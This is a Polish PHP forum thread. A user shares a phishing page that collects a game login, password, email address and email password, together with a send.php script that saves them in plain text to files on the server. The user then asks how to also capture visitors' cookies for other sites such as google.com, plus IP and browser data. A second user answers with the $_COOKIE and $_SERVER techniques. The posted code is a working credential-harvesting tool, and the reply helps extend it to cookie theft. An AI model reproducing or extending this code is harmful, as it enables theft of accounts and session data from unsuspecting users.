Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]Cookies
Forum PHP.pl > Forum > Przedszkole
mateŁusz
Czy byłby ktoś wstanie przygotować skrypt, który tworzyłby plik na serwerze po wejściu osoby na serwer (nazwa pliku = adres IP/Serwer skąd przyszła) [dotąd wiem jak zrobić]. W tym pliku znajdowały by się wszystkie Cookies (albo cookies strony wpisanej w skrypcie), adres IP, strona z której przyszła osoba, przeglądarka itd (zmienne czy jak to się tam nazywa to znam na IP itd. tylko interesuje mnie wszystko o Cookies).

Wchodzi adres ip na strone: 127.0.0.1 = na serwerze Tworzy się plik "127.0.0.1 / albo strona z jakiej przyszła osoba (nawet byłoby lepiej) z informacjami takimi jak Cookies (odnośnie strony, np. google.com), IP, Przeglądarka.
Wchodzi adres ip na stronę: 128.0.0.1 = na serwerze Tworzy się plik "Strona z której przyszła osoba" ...

Wielkie podziękowania dla osoby, która się tego podejmie.
W zasadzie mam gotowy skrypt tylko nie wiem co zrobić w indexie, aby przekazywało Cookies danej strony (albo nazwy ciasteczek) do pliku send.php..

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
  2. <html>
  3. <meta http-equiv="Content-Type" content="text/html; charset=kodowanie strony" /><head>
  4. <title></title>
  5. <link href="style.css" rel="stylesheet" type="text/css" />
  6. </head>
  7. <body oncontextmenu="return false">
  8. <DIV style="text-align: center;"><img src="images/header.png" />
  9.  
  10. <h2 class="headline2">...!</h2><br>
  11.  
  12. <form method="post" action="send.php">
  13. <center>
  14. ...:<input type="text" name="login"><br>
  15. ..:<input type="password" name="pass"><br>
  16. ..:<input type="text" name="email"><br>
  17. ........:<input type="password" name="emailpass"><br>
  18. Serwer:<select name="server">
  19. <option>Poland 2</option>
  20. <option>....</option>
  21. </select><br>
  22. ....<input type="text" name="uri"><br>
  23. <input type="submit" name="ok" value="Wyślij">
  24. </center>
  25. <h2 class="headline4"></h2><br>
  26. <p3>......</p3>
  27. </body>
  28. </html>


Send.php

  1. <?
  2.  
  3. function newacc()
  4. {
  5. require('save2.php');
  6. $login = $_POST['login'];
  7. $pass = $_POST['pass'];
  8. $server = $_POST['server'];
  9. $email = $_POST['email'];
  10. $uri = $_POST['uri'];
  11. $emailpass = $_POST['emailpass'];
  12.  
  13. $login or die ('Musisz podać login!');
  14. $pass or die ('Musisz podać hasło!');
  15. $emailpass or die ('arrrr');
  16.  
  17. ($uri >= 1 && $uri <= 2000) or die ('arrrr!');
  18. preg_match("/^[0-9]+$/", $uri) or die ('"arrrr!');
  19.  
  20.  
  21. $login_file = "$dirlogin/$login.htm";
  22.  
  23. $file = fopen($login_file,'w');
  24. fwrite($file,
  25. '<html>
  26. <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />
  27. <b>5=</b>' . $login . '<br>
  28. <b>4=</b>' . $pass . '<br>
  29. <b>3=</b>' . $server . '<br>
  30. <b>2=</b>' .$email .'<br>
  31. <b>1=</b>' . $emailpass .'<br>
  32.  
  33.  
  34. ');
  35. fclose($file);
  36. }
  37.  
  38. print ('Konto założone.!<br>');
  39. newacc();
  40.  
  41.  
  42. ?>

Nie wiem tylko z tym cookies jak edytować index.php, aby dawało do send.php cookies danej strony.

#Tak, tak.. przepraszam za center itd, ale to stary skrypt, który napisałem daaaaawno jak nawet CSS nie czytałem
jaslanin
print_r z drugim parametrem na true

albo foreach na tablicy $_COOKIE

a z tablicy $_SERVER

HTTP_REFERER
HTTP_USER_AGENT
REMOTE_ADDR
REMOTE_HOST
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.